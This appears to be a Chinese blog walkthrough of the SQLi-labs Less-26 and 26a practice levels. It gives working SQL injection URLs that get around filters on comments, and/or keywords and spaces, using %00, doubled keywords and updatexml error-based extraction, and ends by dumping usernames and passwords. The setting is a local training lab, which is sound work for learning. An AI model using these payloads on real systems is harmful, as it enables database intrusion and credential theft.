目录
第二十六关
1、判断注入点
2、判断数据库
3、判断表名
4、判断字段名
5、获取数据库的数据
第二十六a关
第二十六关
知识点:绕过and、or、空格、注释符等过滤
思路
通过源代码,我们可以知道,数据库对用户的输入进行了过滤,对注释符、and、or、空格等都进行了过滤,我们的思路就是要绕过这些过滤。
1、判断注入点
首先,我们输入正常的输入,看看回显
http://127.0.0.1:3306/Less-26/?id=1
接着在后面加入单引号
http://127.0.0.1:3306/Less-26/?id=1'
数据库语句报错,加入注释符,因为注释符被过滤了,所以我们必须进行绕过,关于注释符的绕过可以参考一下23关
SQLI-labs-第二十三关-CSDN博客
这里使用另一种绕过方式,编码,注释符(--)可以使用;%00代替
http://127.0.0.1:3306/Less-26/?id=1';%00
说明当前存在单引号的闭合问题
http://127.0.0.1:3306/Less-26/?id=1' and 1=1 ;%00
这里说明and 空格都被过滤了
and的绕过可以用双写绕过 anandd,也可以用&&代替
or的绕过可以用双写绕过 or,也可以用||代替
空格的过滤绕过可以用下面的这些绕过
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
上面这些我都使用不了,因为Windows的apache解析问题,所以只能使用()和报错函数进行绕过
2、判断数据库
使用updatexml()函数
http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,database()),1);%00
使用这种方式的好处就是不用空格,注意这里使用的 || or
3、判断表名
http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1);%00
使用group_concat()函数可以将数据集合成一行显示出来
4、判断字段名
http://127.0.0.1:3306/Less-26/?id=1' ||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')anandd(table_name='users'))),1);%00
5、获取数据库的数据
http://127.0.0.1:3306/Less-26/?id=-1' || updatexml(1,concat(1,(select(group_concat(concat_ws(',',id,username,passwoorrd)))from(security.users)where(id=1))),1);%00
通过修改id的值就可以获取所有的信息
第二十六a关
知识点:绕过and、or、空格、注释符等过滤
思路:
这一关的思路也是跟上面的一样,只不过是')的闭合方式,且没有报错信息提示,所以我们不能使用报错函数来注入,只能使用联合查询,关于空格的绕过,可以参考上面的绕过方式
因为本机是Windows环境,所以这一关不做演示
这篇文章就先写到这里,哪里不懂或者不足的欢迎批评指出